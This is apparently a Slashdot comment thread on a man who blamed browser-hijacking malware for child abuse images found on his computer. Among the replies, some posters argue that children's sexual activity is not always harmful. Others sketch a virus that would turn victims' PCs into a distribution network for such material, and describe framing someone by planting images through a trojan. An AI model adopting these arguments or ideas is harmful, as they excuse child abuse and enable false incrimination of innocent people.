How about some anecdotal evidence that child sexual abuse fucks you up big time. We are talking severe mental trauma, confusion over sexuality, huge amounts of guilt and shame and everything else that goes with it.

Having sex with children is wrong on so many levels, let alone the fact they are not physically or mentally mature enough.

Re:Victim the standard?

[eumaeus]

More to the point, if the standard of making images illegal is that there are 'victims' portrayed, then surely violent news and movies (or any other images of illegal activities) with victims must similarly be outlawed in your opinion.

Without making much comment on the original story--I think that both sexual exploitation and the erosion of civil liberties and the apparent death of the presumption of innocence are serious and worsening problems, for which I don't have any solutions--but the movies and news comparisons don't hold water.

The news media do not directly and intentionally create the victims they show. And the "victims" in violent movies are not actually victims.

You can, of course, make other arguments that get around these objections, but you have to make those arguments.

Re:Victim the standard?

[YrWrstNtmr]

I've yet to see strong arguments or studies that child sexual behaviour with others is always necessarily harmful.

And there are no valid studies that show it is never harmful.
By definition, children cannot give informed coonsent. (Define *child* as you wish)

Is it ok that 1 out of 100 will not suffer consequences years/decades later? By something they had no clue about at the time?
Images, presuming they are actual people and not CG, involve people. In this case, children.

In no way can you determine *which* child will suffer because of a sexual act perpetrated upon them at age X. Not possible. I say "perpetrated upon", because again, they cannot give informed consent.

Either make it all illegal (as it is now, rightfully so) or accept the fact that some/most/all ex-children will be irreparably screwed up later in life.

Some things are just wrong. We are all ex-children.

Re:Victim the standard?

[damiam]

Out of curiosity:
Do you think it's wrong for (prepubescent) children to explore each other's bodies of their own accord? (i.e., no adult telling them to)

If you answered yes, I'd like to hear that logic. If you answered no, then there's one example for you of a case where child sexual activity isn't harmful. I'm not condoning abuse, molestation, or any kind of adult-child relationship, but I do think that all people are sexual beings to some degree, including children. It's possible for kids to have certain kinds of healthy sexual exploration without getting screwed up. Now, that doesn't necessarily justify videotaping it, but I disagree with your premise that any sexual activity is harmful by definition.

Re:Victim the standard?

[westlake]

I've yet to see strong arguments or studies that child sexual behaviour with others is always necessarily harmful. (Few studies probably because anyone studying this issue is strongly frowned upon, esp. if you present any scientific evidence contrary to the mainstream perception that sexuality is harmful).

"Child sexual behavior with others" is a peculiarly literal way to describe reality of kiddie porn. Infants and young children used the way the goat-sex guy uses animals would be closer to the truth.

Healthy sexuality, as defined in the modern, western, world begins with informed consent, freedom from coercion and the expectation of privacy. In this context, child pornography has no legitimacy.

Re:Victim the standard?

[Famatra]

"'Child sexual behavior with others' is a peculiarly literal way to describe reality of kiddie porn. Infants and young children used the way the goat-sex guy uses animals would be closer to the truth."

Your comment about goat-sex guy, goatse.cx, is quit telling in that it suggests you've haven't a clue. No animals were on that website, simply a man showing his anus. If you mean another 'famous' goat-sex guy that has sex with animals, you'll have to be more specific since I am not up to speed on the latest internet bestiality trends.

Why was goatse.cx shut down, now that *is* another interesting question, since I've yet, again, to see any compelling evidence that seeing such a picture would constitute harm, at least harm enough to justify total censorship of the website in question.

"Healthy sexuality, as defined in the modern, western, world begins with informed consent, freedom from coercion and the expectation of privacy."

Healthy sexuality may very well start with consent, but this general statement of yours is far from a compelling argument that sexuality in children *always* constitutes harm, i.e. is never victimless.

Re:Victim the standard?

[Famatra]

"The news media do not directly and intentionally create the victims they show. And the victims in violent movies are not actually victims."

The victim analogy is the argument against those that say that child pornography promotes illegal activities (i.e. encourages pedophiles to commit crimes) so violent movies must also be banned as they promote people to commit violence (which is also illegal).

Re:Welcome to the future. (Slightly OT)

[Qzukk]

Any individual - most individuals, even - won't have any change of behaviour, but a measurable number will buy the advertised product because they saw the ad.

Wrong, wrong, wrong.

If this was the case, why haven't I got a giant stack of tampons here? I'm a guy, I don't use them, but I see all these advertisements for them, and by your logic I'm therefore compelled to buy them.

Unfortunately your logic simplifies things too much. You don't see an ad for shampoo, run out to the store and buy Head and Shoulders, and return home just in time to see an ad for Zest. No, there is a higher level at work here in rational people. An ad for Brand X Foo works because you need Foo and because you saw the ad for Brand X. These two combined cause you to act. I suspect even in irrational people something similar occurs, except that for those people up late nights compulsively dialing every toll free infomercial number, seeing the product also produces a need for the product.

Likewise, playing quake doesn't make you go out and kill people. You feel a need to kill people, then the fact that you play quake perhaps influences the manner of murder.

This isn't meant to condone child pr0n, as some child is being victimized to produce that stuff, but perpetuating this junk even to attack child pornography is wrong.

Re:Our Government aren't fools!

[myowntrueself]

So who do you think launched those nukes against Japan? Was it Haiti?

That the USA *HAS* weapons of mass destruction -- that the weapons do exist -- is as incontrovertable a fact as the use of chemical weapons in World War I.

Figure it out; these weapons are bad *whoever* has them.

Re:stop this? me?

[GlassUser]

It's not even habits. They just need to do one thing once and it will pretty much be fine.

Re:Our Government aren't fools!

[Tom_Yardley]

We had to stop them because they were arresting people without any reason and torturing innocent people for no reason ... Oh wait, that's what we did. Sorry.

Re:stop this? me?

[chachob]

MS's bundled swisscheeseware

now there's a new one! :p

Um...Linux help?

[Dimensio]

Where is this in Linux? I can't find a user.js file anywhere.

Re:Um...Linux help?

[etymxris]

prefs.js

But it's easier to just browse to about:config (sorry, can't make it linkable) and change the appropriate setting. Be sure to restart your browser. I'm not sure if it's necessary, but it's better safe than sorry.

Re:Um...Linux help?

[Anonymous Coward]

Where is this in Linux? I can't find a user.js file anywhere.

Just browse to the address "about:config" (that works on most/all Mozilla-based browsers).

Re:Um...Linux help?

[kendallemm]

Be sure to restart your browser. I'm not sure if it's necessary, but it's better safe than sorry.

Not nececssary -- I just tested it without a restart, and no more nastiness.

Re:Um...Linux help?

[Dimensio]

Well, the setting doesn't seem to work.

Perhaps I should get a newer build.

I am not worried about child porn

[gremlins]

Why was that guy even in the article the pictures weren't found in the cache they were in another part of his computer. Its pretty clear he was just lieing because its not easy to say "why yes I do look at child porn, ya got me!" This is not a real problem anyway because if somthing really were going around doing this with child porn more likely there would be more information about it out there. A program like that isn't going to just attack him and make him look at child porn. But that isn't even the point anyway because he had to have looked at the pictures if they weren't in the cache. If he really is innoccent (which is highly unlikely) the moral to the story is you see child porn on the internet tell the police. Even if it is a pop up ad.

Linux helps those who help themselves.

[imtheguru]

Grandparent post names this webpage: http://texturizer.net/firefox/tips.html#beh_blank

On that page, there are about 50 links to the description of user.js

To make a long story short, the user.js file is not created by default. To create it, made a new file in your mozilla profile folder. On most systems the file would have a path as

/home/<userName>/.mozilla/<profileName>/<randomTex t>.slt/user.js

Cheers.

Re:Linux helps those who help themselves.

[Dimensio]

File created. Setting made. Doesn't work :\

Re:Linux helps those who help themselves.

[etymxris]

I had a similar problem. See above. Make sure you have downloaded and installed the latest build.

and the sasser worm...

[gremlins]

Next he is going to say the sasser worm opened up mIRC and connected him to dalnet and to one of the child porn channels and connect to an fserver and download child porn

Re:Our Government aren't fools!

[Jahf]

Umm, yes, they had chemical weapons. Yes, they were willing to use them.

But do you really think that the U.S. Congress (or foreign governments) would have -ever- been willing to support a war if the only weapons we could "prove" existed were nerve gas launched from a SS-1 Scud missle (range of 700 miles or so)?

Plus you even bring up the possibility that they -did- destroy those weapons after Gulf War I. Gulf War II was sold on the premise that not only did they not do so but that they were in possession of even stronger weapons.

Was Husseing probably interested in sourcing larger weapons? Sure, but the point is he didn't from what every investigation has found. And by now some traces of nuclear devices and/or longer range missiles should have been found.

And if you do research into -why- those foreign countries thought Iraq had such weapons, you would find it was due to intelligence from the U.S. and G.B. that has proven to at least have been faulty if not fraudulent.

Should Hussein have been removed from power? Yep. But if the U.S. (of which I am a voting citizen) expects the rest of the world to behave in accordance to the U.N. and various treaties, we kind of need to lead by example. If GWB had been willing to wait another 6 months I believe he would have gotten the U.N. to throw in. And since there weren't significant WMD threats, the wait wouldn't have hurt the U.S.

Oh and don't forget the whole mess about going after Iraq because of 9/11, which has been proven to be tenuous if not plain wrong. If we wanted to take out the people who perpetrated 9/11 we should have gone to Saudi Arabia (Wahabism was the spark and support for Al-Qaeda) and the Phillipines (where Al-Qaeda cells are known to lurk and launch).

BTW, if you're going to say "Fuck you." it just proves that you're reacting from your own hatred, especially when you aren't willing to post from a logged-in account and have to be an AC.

RE: Browser made me do it...

[atomic-penguin]

I would think the justice department would be able to see if all the images in the cache were dated from that one single event or if they were spread over time. If he's telling the truth, it should be easy to prove.

The article says there were pictures in "unallocated space". Said article also claims this could not have been put there by a program, and only intentionally placed in that space. Accusee, "Jack", claims computer was purchased as a used item from Ebay. If these images in the "unallocated space" are older than the sale date, this should be considered. Since the purchase on Ebay has left a paper trail, then "Jack's" bank records for the purchase, (if they in fact exist, he could be lying about Ebay), could be introduced as evidence to prove innocence or guilt.

Q.E.D.

Interesting quote

[jfdawes]

"Committing a felony is very easy; it just takes one click."

The guy should sue Amazon, they have the patent on that

Missing moderation option ...

[crimethinker]

I have the mod points, but I can't find the "+1, Scary" option.

-paul

From the story

[Lord Kano]

"Jack" says " I do not know how people can stay in prison for years."

Yeah, like it's by choice!

LK

I don't buy it

[lorcha]

it was on his system, he should have some measure of responsibility for his property.

So you're telling me some guy should spend the rest of his life as a registered sex offender, with all of the harassment and vigilante "justice" that goes along with it, because he neglected to check the UNALLOCATED space on a second-hand computer for pr0n?

Gimme a break. This guy doesn't know what unallocated space is. All he knows is that going to jail for 20 days is a hell of a lot better than going to jail for years, so he pleads guilty.

Anyhow, does it really matter if it's unallocated to any partition or unallocated on an active partition? How's a non-geek gonna find those files? Does your grandfather have the technical expertise to recover files from unallocated space? The fact is he was not the only one with control of that machine. He is not even the original owner of that machine. How on earth is that not reasonable doubt? Because he couldn't afford a decent lawyer.

At least justice has been served, I guess. We ruined some guy's life who never did anything to harm anyone. I guess we should all be happy now.

Re:I don't buy it

[Ralconte]

Quote: So you're telling me some guy should spend the rest of his life as a registered sex offender, with all of the harassment and vigilante "justice" that goes along with it, because he neglected to check the UNALLOCATED space on a second-hand computer for pr0n? 1). Define unallocated. Is it a technical definition for non-usable space, or is it deleted files that haven't been wiped. 2). He owns the computer. He didn't check it out? It had, for example, a 20 gig hard drive, but he can only see 10-15 gig. No questions? Okay, maybe that's a thin point. He bought it for some purpose and has limited practical knowledge, i.e. he can't repartition and format. OK. But he knows what spyware is -- like someone else said, maybe he heard the story 'bout the guy in England who used that explanation successfully. 3). He'll now begin legal procedings to clear his name. That could succeed, it does happen from time to time. Such outcomes don't feed the hunger of the tin-foil hat crowd, so they don't make Wired, Fark or /.

This happened at my former employer's site

[Lord Kano]

There were training rooms set up with several computers around the perimiter. One day during a training session, while no one was seated at it, out of apparently nowhere a popup ad featuring big bouncing naked breasts came up.

Since no one was using the machine at the time, it was obvious that it had been hijacked. If some poor sould had been sitting there at the time, they would have either been fired on the spot or placed on a "final warning" for it.

LK

Planting child porn is trivially easy

[Anonymous Coward]

I haven't seen anyone point out the obvious. It's trivially easy for a web site to plant child porn or other evil content into your browser cache without you seeing or knowing. It doesn't require spyware, malware, trojans, tricky javascript or popup windows.

All that needs to happen is for you to view a web page that contains something like this...

< img src="childporn.jpg" width=1 height=1 >

Bingo, you've just browsed child pornography. May we recommend the plea bargain with 6 months home detention and free sex offender status?

Re:Planting child porn is trivially easy

[BlacKat]

"May we recommend the plea bargain with 6 months home detention and free sex offender status?"

Oh my, that actually made me laugh out loud...

But wait, there's more... for a limited time you can get this new /all digital/ ankle bracelet with GPS tracking (for the police though, not you).

Re:The browser made me do it!

[EvanED]

I can... Jewlrey companies, Sony, Dell, etc. for making stuff to rob people of.

I love this quote

[Lord Kano]

"My wife and I separated for a time because she thought I was looking at porno," said Fred McFarlane, a store owner in Georgia. "We are religious people. She just couldn't be with me after she saw the pictures that were in our computer. I don't blame her. Even now, I know it's real hard for her to understand it was the computer that did it, not me."

When I worked for DishNetwork, 9 times out of 10 when someone tried to get out of paying for the porno Pay per views that someone there ordered the first thing they would say was "We're Christians!"

In all honesty, this guy was probably better off without his prudish wife. EVEN IF he was downloading pr0n, so what?

LK

Do read the link from the article

[TheLink]

What Brian Rothery actually said. I dunno why the article spun what he said so differently.

I'm 95% sure the guy is innocent of the child porn thing.

I wouldn't send anyone to jail with crappy evidence like this. Browsers and PCs can be hijacked and hijacking is widespread. The scum who do the hijacking are the ones who should be sent to jail - they throw kids into jail for writing worms/viruses, well they should throw the hijacking scumbags in first.

I use IE but have scripting etc off (it's even off for my Local computer zone - so many of the zone crossing exploits won't work on me), so I have no such probs, but think of your nonsavvy friends and relatives.

Re:Child Porn or what? ( RAM DRIVE CACHE)

[zoloto]

Here are some sites for those of you with enough memory to create a RAM drive for your cache:\

Link 1
Link 2
Link 3 (BEST)

The last one has MANY ways to create a ram disk. Just fyi actually. You know, if you dont' want people to find what you have done on your hard drive, just set up one of these and set the history/cache/etc to a ram drive and every time you reboot - PRESTO! No trace at all!...

Hope that helps.

Re:When in doubt, log off and call the police

[WhiteDeath]

If just one person called the police, it would be a waste of time.... If everyone called the police every time a legitimate looking like took them to a porn site, or an email arrived containing porn (yes, I have had spam arrive containing child porn) that would be wasting police time, however it would be so common that police could no-longer consider having porn on your computer as unusual - because they would be dealing with thousands of people who had complained about it being forced on them every day.

If the average computer user gets half as much spam as I do (over 95% of my mail gets tossed by spam filters) and just 1% of that spam contains porn, there can't be many computers out there that have not had some form of porn stored on their hard disk at some time, and most of those would have it in un-allocated space because it was deleted.

In 38 states of the US, yes ...

[magefile]

In 12 (including Illinois), you have to have both or all (not sure of the exact requirements) parties to the conversation know/consent. Telling someone is considered consent; if they don't like it, they can leave or (on the phone) hang up.

IANAL, but this was mentioned a while back in a /. article. OTOH, even if it's not admissible as evidence, showing it to the prosecution might get them to withdraw charges; even if they go after you for illegal recording, that's better than the alternatives.

illegal porn

[phorm]

Which brings me to the question... if a program installed is popping up porno sites that include illegal material (kiddy, animal, etc), shouldn't the perveyor of that software (or the parent software which installed it etc etc) be liable?

I've not seen it myself, but I just recently ran into a low-tech computer user who proclaimed that his computer was getting popups of porn and, to quote, "sick shit, like kids and stuff."

I've had various sites sent me to popup hell with advertisements for so-called "lolita" porn, some of which is definately of dubious legality. I've not yet had any software do so, but then again I haven't accidentally installed such crapware in quite awhile.

If I were to be able to trace what were popping up the "sick shit," would I then be able to get a criminal investigation into the parent company. Moreso, could I do so without getting those with the actual material it downloaded (browser cache etc) nailed for having such things on their PC?

Re:illegal porn

[The Grassy Knoll]

>"perveyor"

Best. Typo. Ever.

We can even abbreviate it to "perve"

.

Re:illegal porn

[Tin Foil Hat]

FYI, the term lolita refers strictly to kiddie porn. It comes from Vladimir Nabokov's Lolita that described a sexual relationship between a middle aged man and a twelve year old girl. The book was a best seller.

So anytime you see porn described as "lolita" porn, the chances are excellent that it contains illegal images. Stay far away from that stuff.

Call Cops On First Sight

[excelblue]

People should simply just call the cops when they spot that malware/spyware was putting illegal stuff on their box. They should clean it up the best they can, and get someone to investigate. This would get you in less trouble, as then, you have a defending point of informing authorities that your browser has been hijacked by malware/spyware. If the person inform authorities, it's just like not reporting a theft.

Re:Call Cops On First Sight

[Syntax Heir]

Are you suggesting people call the police EVERY time they find "illegal" spyware on their computer?

Hmm.. this might actually prove intersting. Imagine the flood of phone calls coming into the police switchboard. Not sure what pratcial effect it would have but it would be nice for someone else's phone to ring for once!

The Brits decided not to prosecute because...

[Anonymous Coward]

The customer list was so large that it would've been cost prohibitive for them to prosecute everyone who paid for access to the kiddy porn sites busted up by the FBI and Interpol in that case. Pete Townsend was lucky there are so many sick fucks out there. The FBI and Interpol decide to go after the producers of kiddy porn instead. The people who ran the websites and the participants probably are worse but it's too bad that they couldn't arrest everyone who bought that stuff.

Though fucking noogies.

[Pig Hogger]

As long as people will get their brains damaged by religion, have hang-ups about sex and find pr0n objectionnable, they only deserve the trouble they get themselves into.

Plenty of nations have dumped their religion en masse when they realized that it was putting them in shit.

Got anything free (as in anything)?

[SnappingTurtle]

Looks like a good product. Of course, I'm a cheapo. I prefer free as in soup, and free as in beer is even better.

Any suggestions along those lines?

Re:Got anything free (as in anything)?

[pyrrhonist]

I prefer free as in soup, and free as in beer is even better. Any suggestions along those lines?

How about The File Shredder

I don't know how good it is, but it's GPL.

This guy needs a better lawyer

[Recovering Anonymous]

If this guy had a really good lawyer he would have Microsoft catching all the blame, and get a big fat settlement from the boys at Redmond for his troubles. In the days when people can sue McDonalds because their coffee is too hot anything is possible.

Re:This guy needs a better lawyer

[BlacKat]

Yes, but the person who sued McD's and won actually lost as the case was overturned on appeal.

I guess the appelate judge wasn't asleep on the bench like the previous judge. :}

Re:Our Government aren't fools!

[SEE]

Am I the _only_ one that remembers the inspectors being let in, receiving cooperation?

I hope so, given that Blix himself testified Iraq was not giving full cooperation, as required by UN resolution, the cease-fire agreement, and international law.

Anti-trust vs Anti-virus

[bigsteve@dstc]

Oh, yeh, that's right - if Microsoft did actually do this, they'd just absorb another anti-trust suit and get accused of using their 'monopoly' to put all those hard working anti-virus/anti-spyware companies out of business.

This is way off. Microsoft were not slapped with the web browser anti-trust lawsuit because they bundled IE. The lawsuit was because of clear anti-competitive behaviour:

1. They gave away the unbundled versions of IE for free.
2. They made it very difficult for end users to get rid of the bundled install of IE (post Windows 95)
3. They forbade ISVs from putting other browsers on the Window desktop.

If Microsoft were to fix the security / virus / spyware related problems in Windows, this would not necessarily be an anti-trust issue. It would all depend on whether they used their monopoly position unfairly.

Re:Anti-trust vs Anti-virus

[sbszine]

Right on. I don't mind MS bundling some light AV product providing it can be easily removed or replaced with a competing product.

Re:Anti-trust vs Anti-virus

[GroundWire]

Have any of you guys SEEN WinXP SP2? It's going to have alot of this crap embedded in it.. Anti-virus, a ZoneAlarm style firewall.. There may even be some Popup stuff for IE included.. ugh - The betas I saw (my roomate is a tester) slowed his machine down significantly.

Re:Anti-trust vs Anti-virus

[o'reor]

Right, but only if you have the monopoly on car manufacturing. Otherwise Joe Sixpack, who's not as stupid with cars as he is with 'puters, will buy his car from another firm next time.

If you don't have a monopoly and don't want to ruin your reputation, you might like to spend a few millon bucks recalling those cars and changing the design, after all. At least Joe Sixpack will be grateful you did.

Re:Anti-trust vs Anti-virus

[trawg]

The point of my original gripe (which was actually supposed to be 'Funny' :) was that just about anything Microsoft do from now on is going to get nailed as 'anti-competitive behaviour' if some company is going to lose out because of it, because of their 'monopoly' on the operating system.

That said, I don't really consider what they did/do with IE anti-competitive, but just from the perspective that I think its their operating system and they should be the ones who can say what happens with it and what doesn't happen with it. Anyone else is welcome to make their own operating system from scratch, build up market share, and tell other people what can and can't happen on their software!

Re:Anti-trust vs Anti-virus

[Tin Foil Hat]

Just to be clear, point number three was the big one. The fact that Microsoft was able to forbid competition in it's market, and then did so, was what really got them in trouble. If they had allowed computer manufacturers and resellers to install third party browsers in Windows, they would not have had any problems with the DoJ.

Re:Anti-trust vs Anti-virus

[Tin Foil Hat]

Anyone else is welcome to make their own operating system from scratch, build up market share, and tell other people what can and can't happen on their software!

Bzzt! Wrong.

Once you sell a product, it is no longer yours and you do not have the right to dictate what the customer does with it. For instance, if a company like Dell were to buy a million copies of Windows, those copies then belong to Dell and Microsoft should not be allowed to dictate what can and cannot be installed on them.

This, incidently, is why Microsoft has been trying to push the idea of leasing software. That way all rights are retained by Microsoft, including the right to dictate what is installed, or even whether the customer may continue to use the product at all if some condition has not been met.

Re:Anti-trust vs Anti-virus

[trawg]

You do not have the right? Or you should not have the right?

My understanding is that EULAs I'm constantly agreeing to when I install software dictate my rights - most of which tell me what I can and can't do with the software I've just purchased. Blizzard software, for example, tells me I can't use any third party matchmaking/game network software, so I can't play on any other gaming networks other that Blizzard's Battle.net.

Also, I should point out that I didn't mean users shouldn't be able to do what they want with the software - merely that Microsoft should be able to control what stuff is in their operating system by default.

As an aside - I'm not sure what the relationship is between Dell and MS (in your example) from a business perspective. I would have thought Dell were merely Microsoft resellers or whatever - just like my local supermarket sells bottles of soft drink. I don't want my supermarket opening up my bottles of Coke and adding in salt because they reckon it makes them taste better!

Re:Welcome to the future. (Slightly OT)

[Alsee]

Which proves that we should imprison anyone in possesion a videotape of the evening news.

-

MOD PARENT UP

[websensei]

This is the most insightful, cutting, relevant and outrageous (because apparently true) quote I've come across in any /. discussion on rights, the law, or justice.

Thank you, Hatta 162192, for sharing.

Re:you are now on some investigational database

[BiggerIsBetter]

There is a huge criminal justice industry being built around sex offenders now, just as such an industry was built around drug offenders. You better be squeaky clean.

*Nobody* is squeaky clean.

today's standards

[bsDaemon]

as someone who is seeking to make a carreer out of prosecution, i suspect you mean today's standards before the patriot act :-)

Re:yrs in prison etc...before the investigation? y

[smkndrkn]

I will drink to that. I spent time in jail...I should have hired a lawyer..but I was 18 and poor. So instead of the 22 1/2 years I was looking at I took a year. But now I'm a felon (10 years later) and I can't do a lot of things I would like to do ...own a gun....start a business making beer...etc.

Parent has good advice..

Windows Security

[kuzb]

Anyone serious about securing a home windows box should look in to tiny's personal firewall

It has a high learning curve for initial setup, but it can drasticly reduce the attack vector given to malicious scripts and programs as it's not just a firewall, but also a very elaborate application sandboxing system.

Another solution is to get quickfix which applies blanket fixes to many unpatched IE and Windows vulnerabilities.

Remember, security is YOUR responsibility. If you run Windows, YOU need to take your own steps to ensure the security of your system.

Been fighting a hijacker for coupla weeks

[Darthmalt]

My family somehow got one on the computer and not from looking at pron. I know a range of times it could have got there and checked history and file creation dates. nothing.
but I think I finally beat it this morning (the hijacker) It used a file called MSHTA.exe to reset my homepage to start.chm and didn't show up in the system startup list. It got past spybot adaware and norton even though I knew it was in there somewhere.
finally i d/l the demo version od pestpartol and rn a scan it picks up a lot of old registry entries the other three missed it doesn't pick it up either
but I look in it's listing of startup files and there itis. delete fest!!! mshta.exe was hidden and it wouldn't let me change the folder view options. so i went into dos deleted it then went into the registry and deleted every mshta and hta listing I could find

Jesus... delets all porn from computer

[dioscaido]

All these discussions really freaked me out. The few adult porn movies I had on my comp are now deleted.

Computer + Internet = potential risk

[cpu_fusion]

Given the known fact that many (MANY) exploits have existed for browsers such as IE, and many still exist as zero day exploits, one has to wonder how ANY CONVICTION can occur based on the activities of a computer system without a confession, (coerced or otherwise.)

Once malware is running on your system, it chooses what to do -- or rather, it's author chooses to do. Sure there are possible defenses to malware, but none of them are foolproof. The vast majority of Internet users are spread eagle on the information superhiway, relying on Bill Gates to guard their anus.

In fact, there is no way to prove that any activity originating from a computer system was produced by the user at that computer system short of either filming them doing it (and you gotta love digital film folks!) or hooking up a device to their brain. (Wait a few years for that.)

Not convinced? A trojan can install itself without detection, do whatever the hell it pleases, and cover its tracks completely. All it needs are the right holes, and if you don't believe the holes are there to be found then you obviously don't read the news. Just imagine if that teenager from Germany caught this last week had decided his worm should mail death threats to public officials, or download illegal pictures, before shredding itself completely off the hard drive after propagating. The malware writers have, on the whole, been very very kind and very very stupid so far people; well, at least the trojans/worms/viruses/spyware we know about.

Even going beyond this, there's always the question of physical security on a machine. If someone can access a computer physically, chances are they can plant whatever they want to on it, AND YOU WONT BE ABLE TO DISTINGUISH IT FROM NON-PLANTED EVIDENCE. That, my friends, sucks.

The digital world is a scarey scarey place. Gone are the physical evidence trails. And don't think prosecuters dislike this new domain; it makes their job easier, not harder. Prosecuters don't have to consider the very real possibility that the actions of a computer system were hijacked. They only have to MAKE THINGS TERRIFYING ENOUGH for you to force you into the only rational decision; to take the deal, to sell out the truth and your rights to a jury trial because the cost of trying to convince someone on a jury that a completely untraceable event is possible in this digital world, something tantamount to "magic" in the real world happened. Good luck!

Cheers and remember, there's really no way you can prove I posted this

Re:Computer + Internet = potential risk

[drew]

I just made that my new sig. I just wish I could have fit it properly in the 120 character limit...

Harvard's Divinity Dean was fired for child porn

[dioscaido]

A few years back when I worked tech support at Harvard, a collegue of mine found a cache of kiddy porn when fixing some trivial issue on the Dean of the Divinity School's computer. The dean was asked to resign shortly thereafter. http://articles.findarticles.com/p/articles/mi_m10 58/is_17_116/ai_54950849

Fixed in Moz 1.7

[jschottm]

I just tested it under 1.7 rc1 and it did not have any problems with it.

Re:stop this? me?

[rock_climbing_guy]

And for the love of all that is holy, tell everybody you know to stop using IE. If you're the tech support guy for your friends and family, have them start using firefox. Because sooner or later, if you don't, they'll get CWS and you'll be at their house helping them for a LONG time.

Then what do I tell them when they say that FireFox is a geek toy and IE is lots easier to use and they already know how to use it and why should they bother with it and it's from Microsoft and we're all M$-bashing weenies and blah blah blah blah blah, I swear that my father avoids anything non IE non Windows just to be fecicious.

I have

[themusicgod1]

not even looking for porn either(although I have tended to do that occasionally).

I think I found porn on the first page when i googled for "j.s.bach" and that one had a pop-up to a child-porn site and that one had a pop-up to , well you get the picture.

pop-ups are vicious.

I think he may have underestimated the plea...

[joggle]

Having a felony conviction on your record (permanently) is pretty much a life-ruiner too. Everybody does background checks nowadays, you couldn't possibly get a job for the government, you lose your right to vote (among some other Constitutional rights I believe). Where is this poor sap going to find a job now? He'll probably have to move out of the US (which isn't necessarily a life-ruiner, but unfortunate to be coerced to do so). While discrimination is mostly outlawed in the US, it is perfectly legal to discriminate against felons, pretty much all the time anywhere AFAIK (especially sex offenders).

Re:I think he may have underestimated the plea...

[Kombat]

[If you have a felony conviction on your record,] you lose your right to vote

Not in Canada. In fact, in Canada, starting with this year's federal election, convicted felons can vote
even while they're still in prison.

Re:I think he may have underestimated the plea...

[corbettw]

Not in Canada. In fact, in Canada, starting with this year's federal election, convicted felons can vote even while they're still in prison.

Hmm, I'm guessing the "tough on crime" politicians won't be scoring well with those voters?

Re:I think he may have underestimated the plea...

[Unregistered]

True, but 10+ years in prison is still worse.

Re:OK. What do you recommend?

[Sanat]

PGP does this. (information is from the PGP Help File)

Start PGPmail.

Click the Wipe Free Space button in the PGPmail window. The PGP Free Space Wiper Welcome screen appears.

The PGP Free Space Wiper prompts you to select the volume you want to wipe and the number of passes you want to perform.

In the Volume box, select the disk or volume that you want PGP to wipe. Then, select the number of passes that you want PGP to perform.

As many as 28 passes can be made to ensure no spurious magnetic domains exist.

Version 8.0.3 is the latest freeware. Be sure you qualify for the freeware version

PGP Freeware

Re:You can't laugh this off, not even with Mozilla

[rodgster]

One of the best defenses I use in corporate (NT and unix based) envirnoments is to force all users to have unprivledged accounts. 9X boxes are much harder to lock down.

How to prove it

[Felinoid]

I believe the defence has access to the evedence so they should be able to examine it and find the cuplrit.

BTW I believe <a href="http://www.wired.com/news/print/0,1294,63280 ,00.html">this</a> is the culprit.
The $9,000,000 question is why haven't thies guys gone to jail yet?

Re:Our Government aren't fools!

[cliveholloway]

That Iraq had weapons of mass destruction -- that the weapons did exist -- is as incontrovertable a fact as the use of chemical weapons in World War I. The only question is if Iraq hid them or destroyed them before the Second Gulf War.

ROTFL - time for another Bill Hicks quote:

US Military: "Iraq has terrible weapons".

Press: "How do you know?"

US Military: "Err, we looked at the receipts. And as soon as the check clears, we're going in!"

cLive ;-)

Re:Harvard's Divinity Dean was fired for child por

[BlacKat]

Did you actually read the artice you linked to?

"The explicit material allegedly was found last fall after Thiemann requested additional disk space on a school-owned computer at the office in his Harvard-owned residence, the Boston Globe reported, citing unidentified sources. Thiemann allegedly asked the computer department to transfer the images to the new disk drive. The material was not child pornography or illegal in any other way, the sources said, Thiemann did not comment, the newspaper reported."

So, doesn't look like he was busted for kiddy porn at all, just "normal" porn.

You may be kidding...

[Kjella]

...but you could seriously make such a virus. Make the virus run Freenet. Have it scan a frost message board or something for keys to download. (digitallly signed list?) Not only could it download, it could upload too.

And voila. You've turned a bunch of idiots into your own kp distribution network. Of course, right now Freenet is a huge fucking java app that'd get noticed. Replace it with a tightly coded C++ app, and they'd never know...

Kjella

Re:Harvard's Divinity Dean was fired for child por

[BlacKat]

Alrighty, I was just trying to point out the fact that the news article /you/ linked to refutes your own point.

Do you happen to have any links to articles that agree with your statement? :)

It's Simple, people

[SJS]

Oh, come on. This is simple, people, really.

TURN OFF JAVASCRIPT

It's not that hard. Websites that require Javascript should be considered malware -- there is NOTHING that Javascript can provide the user that either isn't technically necessary or can't be provided some other way.

If everyone disabled Javascript, and boycotted websites that require Javascript, and browsers shipped with Javascript disabled, then this whole popup nonsense would go away.

If you live in Michigan...

[wantedman]

Just hop online.

Clicky

The trojan defense..

[Kjella]

I don't think anyone denies it can happen. The problem is, if that is a valid defense what is to stop criminals from trojaning themselves? Perferably a trojan where you need to know some specific code to get in (as do happen, as to avoid others "stealing" compromised hosts).

Suddenly you have a trojan that's not real, it's just a front. There's no evidence as to whether someone out there actually knows the code. And the machine itself is compromised. You can't trust anything it tells you, particularly not about how the hell it got there.

That is why so many is opposed to this defense. It's too convienient, too easy to abuse. But it is also a terrible weapon for those who really have been hi-jacked, by random or otherwise.

I think most people here on slashdot would manage to infect the vast majority of people with a trojan, should they so want to (hell, bored script kiddies can).

And I think that using that persons computer as a proxy you'll be quite able to find something illegal as well, as long as you don't have to care about details like IP logs (you're using your victims machine, you know. Might as well add browser logs to it).

If you want to really make sure that persons is fucked, rig the NTFS stats (the ones disk defraggers use: see, this here kp pic you've been watching often), photoshop some family photos too and uninstall the trojan before alerting the cops.

I think that given a reason, I would be able to completely and utterly ruin the life of any one of 90%+ of the online population. And I find that thought deeply disturbing.

Kjella

My browser-hijacking horror-story

[The Famous Druid]

I mis-typed the URL of my preferred search-engine, and ended up at a typo-squatting porn-site that proclaimed itself to be
"The official internet incest site" and filled my screen with a series of images best left undescribed.

It did the usual thing, you close one window and it opens another 2, and I was at work so after a few seconds I took the brute-force approach and turned off the power.

I pulled the network plug, re-started the computer, and fired up the browser, sure enough, the browser immediately tried to access the same site. It took me over an hour to clean the f**king thing off my PC, all the while being secretive about the whole thing because I didn't want to explain to the boss why I had these websites in my browser history.

And I couldn't even report the bastards to the cops, as there was an article in the paper a few months earlier about someone who had a similar experience, called the cops, and ended up facing criminal charges as they took his complaint as a 'confession' to the crime of downloading child porn. I never heard if he was convicted, but call me a coward if you like, I'd rather not try my luck with the court system.

So, nudge-nudge-wink-wink all you like, but it does happen, and one day it may happen to you.

Pop up porn

[BlackHawk-666]

Yeh, that child porn stuff just pop's up on my computer too every time I type in stuff like "naked children bound and beaten" into Google. It's beyond my control!

